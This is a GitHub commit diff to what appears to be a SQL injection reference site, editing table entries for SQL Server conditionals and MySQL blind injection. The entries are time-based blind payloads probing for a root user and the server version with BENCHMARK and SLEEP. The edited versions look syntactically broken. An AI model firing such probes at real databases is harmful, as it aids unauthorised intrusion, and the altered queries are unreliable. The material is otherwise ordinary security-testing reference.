Skip to content

Commit 5f849aa

Browse files
authored
Update mysql.html (#14)
* Update mysql.html Query changed * Update sqlserver.html
1 parent d149c8a commit 5f849aa

2 files changed

Lines changed: 3 additions & 3 deletions

File tree

injectionTechniques/conditionalStatements/sqlserver.html

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ <h3 id="conditionals">Conditionals</h3>
1212
<tbody>
1313
<tr>
1414
<td>Case</td>
15-
<td>SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END</td>
15+
<td>SELECT * FROM CASE WHEN 1=1 THEN 1 ELSE 0 END</td>
1616
</tr>
1717
<tr>
1818
<td>If/Else</td>

injectionTypes/blindBased/mysql.html

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -64,11 +64,11 @@ <h4 class="subheading">Full-Blind</h4>
6464
</tr>
6565
<tr>
6666
<td>User is root (Benchmark method)</td>
67-
<td>SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null)</td>
67+
<td>SELECT * from (user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null)</td>
6868
</tr>
6969
<tr>
7070
<td>Version is 5.x.x</td>
71-
<td>SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null)</td>
71+
<td>SELECT * from (SUBSTRING(version(),1,1)=5,SLEEP(5),null)</td>
7272
</tr>
7373
</tbody>
7474
</table>

0 commit comments

Comments
 (0)